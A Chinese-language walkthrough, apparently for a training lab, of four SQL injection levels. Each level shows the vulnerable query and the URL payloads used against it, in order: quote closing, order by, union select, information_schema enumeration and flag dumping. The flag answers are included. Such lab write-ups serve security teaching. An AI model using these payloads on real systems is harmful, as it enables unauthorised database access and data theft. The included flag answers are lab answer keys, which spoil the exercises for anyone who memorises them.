思维导图
显错注入(一)
核心代码
$sql = "select *from user where id=$id";
我们注意到它这里源码查询时是直接拼接id获取的字符,所以我们不需要闭合,直接注入就可。
判断注入存在
http://inject2.lab.aqlab.cn/Pass-01/index.php?id=1 and 1=1 #页面正常
http://inject2.lab.aqlab.cn/Pass-01/index.php?id=1 and 1=2 #页面异常
判断字段数
http://inject2.lab.aqlab.cn/Pass-01/index.php?id=1 order by 3 #页面正常
http://inject2.lab.aqlab.cn/Pass-01/index.php?id=1 order by 4 #页面异常
得出字段数为3
判断显错点
http://inject2.lab.aqlab.cn/Pass-01/index.php?id=1 and 1=2 union select 1,2,3
得出显错点为2,3
开始注入,信息收集
#查询数据库名
http://inject2.lab.aqlab.cn/Pass-01/index.php?id=1 and 1=2 union select 1,database(),3
得出数据库名:error
#查询当前数据库下表名
http://inject2.lab.aqlab.cn/Pass-01/index.php?id=1 and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()
得出表名:error_flag,user
#查询error_flag表下字段名
http://inject2.lab.aqlab.cn/Pass-01/index.php?id=1 and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='error_flag'
得出error_flag表字段名:Id,flag
#查询error_flag表的flag数据:
http://inject2.lab.aqlab.cn/Pass-01/index.php?id=1 and 1=2 union select 1,group_concat(flag),3 from error_flag
得出flag:zKaQ-Nf,zKaQ-BJY,zKaQ-XiaoFang,zKaq-98K
提交验证后zKaQ-Nf是本题flag
显错注入(二)
核心代码
$sql = "select *from user where id='$id'";
我们注意到它这里查询的时候是有拼接单引号'的,所以我们就需要提供一个单引号'让他闭合。
判断注入存在
# 页面正常
http://inject2.lab.aqlab.cn/Pass-02/index.php?id=1' and 1=1 -- qwe
#页面异常
http://inject2.lab.aqlab.cn/Pass-02/index.php?id=1' and 1=2 -- qwe
判断字段数
http://inject2.lab.aqlab.cn/Pass-02/index.php?id=1' order by 3 -- qwe #页面正常
http://inject2.lab.aqlab.cn/Pass-02/index.php?id=1' order by 4 -- qwe #页面异常
得出字段数为3
判断显错点
http://inject2.lab.aqlab.cn/Pass-02/index.php?id=1' and 1=2 union select 1,2,3 -- qwe
得出显错点为2,3
开始注入,信息收集
#查询数据库名
http://inject2.lab.aqlab.cn/Pass-02/index.php?id=1' and 1=2 union select 1,database(),3 -- qwe
得出数据库名:error
#查询当前数据库下表名
http://inject2.lab.aqlab.cn/Pass-02/index.php?id=1' and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()-- qwe
得出表名:error_flag,user
#查询error_flag表下字段名
http://inject2.lab.aqlab.cn/Pass-02/index.php?id=1' and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='error_flag'-- qwe
得出error_flag表字段名:Id,flag
#查询error_flag表的flag数据:
http://inject2.lab.aqlab.cn/Pass-02/index.php?id=1' and 1=2 union select 1,group_concat(flag),3 from error_flag-- qwe
得出flag:zKaQ-Nf,zKaQ-BJY,zKaQ-XiaoFang,zKaq-98K
提交验证后zKaQ-BJY是本题flag
显错注入(三)
核心代码
$sql = "select *from user where id=('$id')";
我们注意到它这里查询的时候是有拼接单引号'还有括号()的,所以我们就需要提供')让他闭合。
判断注入存在
# 页面正常
http://inject2.lab.aqlab.cn/Pass-03/index.php?id=1') and 1=1 -- qwe
#页面异常
http://inject2.lab.aqlab.cn/Pass-03/index.php?id=1') and 1=2 -- qwe
判断字段数
http://inject2.lab.aqlab.cn/Pass-03/index.php?id=1') order by 3 -- qwe #页面正常
http://inject2.lab.aqlab.cn/Pass-03/index.php?id=1') order by 4 -- qwe #页面异常
得出字段数为3
判断显错点
http://inject2.lab.aqlab.cn/Pass-03/index.php?id=1') and 1=2 union select 1,2,3 -- qwe
得出显错点为2,3
开始注入,信息收集
#查询数据库名
http://inject2.lab.aqlab.cn/Pass-03/index.php?id=1') and 1=2 union select 1,database(),3 -- qwe
得出数据库名:error
#查询当前数据库下表名
http://inject2.lab.aqlab.cn/Pass-03/index.php?id=1') and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()-- qwe
得出表名:error_flag,user
#查询error_flag表下字段名
http://inject2.lab.aqlab.cn/Pass-03/index.php?id=1') and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='error_flag'-- qwe
得出error_flag表字段名:Id,flag
#查询error_flag表的flag数据:
http://inject2.lab.aqlab.cn/Pass-03/index.php?id=1') and 1=2 union select 1,group_concat(flag),3 from error_flag-- qwe
得出flag:zKaQ-Nf,zKaQ-BJY,zKaQ-XiaoFang,zKaq-98K
提交验证后zKaQ-XiaoFang是本题flag
显错注入(四)
核心代码
$sql = 'select *from user where id=("$id")';
我们注意到它这里查询的时候是有拼接双引号和括号的,所以我们就需要提供")让他闭合。
判断注入存在
# 页面正常
http://inject2.lab.aqlab.cn/Pass-04/index.php?id=1") and 1=1 -- qwe
#页面异常
http://inject2.lab.aqlab.cn/Pass-04/index.php?id=1") and 1=2 -- qwe
判断字段数
http://inject2.lab.aqlab.cn/Pass-04/index.php?id=1") order by 3 -- qwe #页面正常
http://inject2.lab.aqlab.cn/Pass-04/index.php?id=1") order by 4 -- qwe #页面异常
得出字段数为3
判断显错点
http://inject2.lab.aqlab.cn/Pass-04/index.php?id=1") and 1=2 union select 1,2,3 -- qwe
得出显错点为2,3
开始注入,信息收集
#查询数据库名
http://inject2.lab.aqlab.cn/Pass-04/index.php?id=1") and 1=2 union select 1,database(),3 -- qwe
得出数据库名:error
#查询当前数据库下表名
http://inject2.lab.aqlab.cn/Pass-04/index.php?id=1") and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()-- qwe
得出表名:error_flag,user
#查询error_flag表下字段名
http://inject2.lab.aqlab.cn/Pass-04/index.php?id=1") and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='error_flag'-- qwe
得出error_flag表字段名:Id,flag
#查询error_flag表的flag数据:
http://inject2.lab.aqlab.cn/Pass-04/index.php?id=1") and 1=2 union select 1,group_concat(flag),3 from error_flag-- qwe
得出flag:zKaQ-Nf,zKaQ-BJY,zKaQ-XiaoFang,zKaq-98K
提交验证后zKaq-98K是本题flag